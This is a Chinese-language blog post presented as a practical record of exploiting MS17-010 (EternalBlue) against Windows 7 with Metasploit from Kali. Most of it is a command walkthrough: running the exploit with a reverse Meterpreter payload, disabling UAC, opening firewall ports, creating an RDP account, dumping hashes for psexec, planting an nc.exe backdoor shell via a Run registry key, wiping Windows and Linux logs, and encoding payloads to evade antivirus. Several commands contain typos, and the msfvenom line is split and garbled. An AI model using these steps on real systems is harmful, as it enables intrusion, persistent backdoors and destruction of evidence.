Posts 关于MS17-010漏洞的实战记录
Post
Cancel

关于MS17-010漏洞的实战记录

背景

MS17-010是Windows系统一个底层服务的漏洞,当 Microsoft 服务器消息块 1.0 (SMBv1) 服务器处理某些请求时,存在多个远程执行代码漏洞。成功利用这些漏洞的攻击者可以获取在目标系统上执行代码的能力。为了利用此漏洞,在多数情况下,未经身份验证的攻击者可能向目标 SMBv1 服务器发送经特殊设计的数据包。

知名事例:

永恒之蓝:2017年4月14日晚,黑客团体 Shadow Brokers (影子经纪人)公布一大批网络攻击工具,其中包含从美国国家安全局(NSA)盗走的黑客渗透工具“永恒之蓝”。

该工具是利用Windows系统的SMB漏洞就可以直接获取系统最高权限。

5月12日,骇客通过改造“永恒之蓝”制作了Wannacry勒索病毒并席卷了全球,被渗透的主机都被加密硬盘驱动器主文件表(MFT),使主引导记录(MBR)不可操作,通过占用物理磁盘上的文件名,大小和位置的信息来限制对完整系统的访问,从而让电脑无法启动,相较普通勒索病毒对系统更具破坏性。

环境

1、Windows 7

2、KALI

原理

远程桌面协议(Remote Desktop Protocol)是一个多通道(multi-channel)的协议,可以让客户端连上windows开启远程服务的电脑。

linux系统账户库

1
/etc/passwd

windows系统账户库

1
 c:\\windows\system32\config

用户账户控制(User Account Control)是微软在其windows操作系统中采用的一种控制机制,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。

Windows系统中administrator的权限不是最大的,最大的是system,很多信息只有system才能查看,比如注册表的sam信息,administrator是看不了的。

windows注册表参数设置

ADD 添加一个注册表项

-v 创建键值

-t 键值类型

-d 键值

-f 强制修改注册表项

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter-Shell的链接。

Meterpreter-Shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

PsExec是一个轻型的telnet替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec最强大的功能之一是在远程系统和远程支持工具(如ipconfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

PsExec利用某一个账号,通过SMB协议连接远程机器的命名管道(基于 SMB 的 RPC),在远程机器上创建并启动一个名为 PSEXESVC 的服务,PSEXESVC 服务会注册新的命名管道。

PsExec连接至PSEXESVC新创建的命名管道,通过此管道通知PSEXESVC服务在远程机器上面启动我们指定的程序,并将程序的 stdin 与 stdout 通过命名管道转回本地 Shell,现实远程命令的本地交互。

挖坑过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
msfvenom -a(指定架构,选择x86,也能在64位下运行) X86 -platform(指定运行平台)  windows -p(指定攻击载荷) windows/meterpreter/reverse_tcpmsfdb run  #运行Msfvenom

search ms17-010 #搜索ms17-010模块

use auxiliary/scanner/smb/smb_ms17_010   #进入扫描模块

set  RHOSTS #设置ip

exploit  运行模块

如果存在漏洞

use  exploit/windows/smb/ms17_010_eternalblue   进入使用模块

set  RHOSTS #设置ip

set Payload windows/x64/meterpreter/reverse_tcp   #设置监听模块

set LHOST #设置ip

run  #运行

getuid    #查看权限

shell 

chcp 65001  #修改编码

netsh firewall add portopening tcp 4444 "test"  ENABLE all  #设置防火墙规则

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrenVersion\Policies\System /v Enable:ua /t REG_DWORD /d 0 /f    #关闭UAC

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrenVersion\Policies\System /v LocalAccountTolemFilterPolicy /t REG_DWORD /d 1 /f   #开启共享服务
background #保存当前渗透会话

sessions ?#进入会话


操作示例

设置远程并创建远程账户

run post/windows/manage/enable_rdp USERNAME=TEST PASSWORD=TEST

rdesktop ip  #进入远程


通过账户和密码hash提权高权限账户

hashdump  #查看该系统下账户hash

use exploit/windows/smb/psexec #进入模块

show options  #查看模块参数

set RHOSTS SMBUser SMBPass SMBDomain  #设置参数

set Payload windows/meterpreter/reverse_tcp  

run


上传后门病毒

upload /usr/share/windows-binaries/nc.exe C:\\???\

修改注册表开机启动项,执行nc.exe反弹shell

reg serval -l HKLM\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\????\nc.exe -Ldp 443 -e cmd.exe

参数说明

-L 表示用户退出连接后重新进入端口监听

-d 后台运行

-p  指定端口

-e prog程序重定向,连接即执行

shutdown -r(重启) -f(强制) -t(时间) 0
或
reboot

渗透结束后,清除渗透痕迹
net user 添加的用户名 /del  #删除远程时创建的账户
exit  #退出shell
clearev   #删除日志
sessions -K  #删除会话
在shell下执行清除系统日志  del %WINDIR%\*.log  /a/s/q/f

linux下清理方式(需获得root权限)
可创建sh脚本清理
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/log/utmp
history -c

 LHOST=X.X.X.X LPORT=(端口) -b(去掉坏字符)“\x00”(x表示16进制,00表示空字符) -e(指定编码器,主要为了逃过杀毒,免杀) x86/shikata_ga_nai -i(编码次数) 10 (文件随着编码次数变大) -f(指定输出格式) exe -o /var/xxxxxx

参考来源

百度百科 ms17-010漏洞官方介绍
Meterpreter大全
psexec错误大全

This post is licensed under CC BY 4.0 by the author.

Contents

后门木马之Msfvenom

渗透预备-网站克隆HTTrack

Comments powered by Disqus.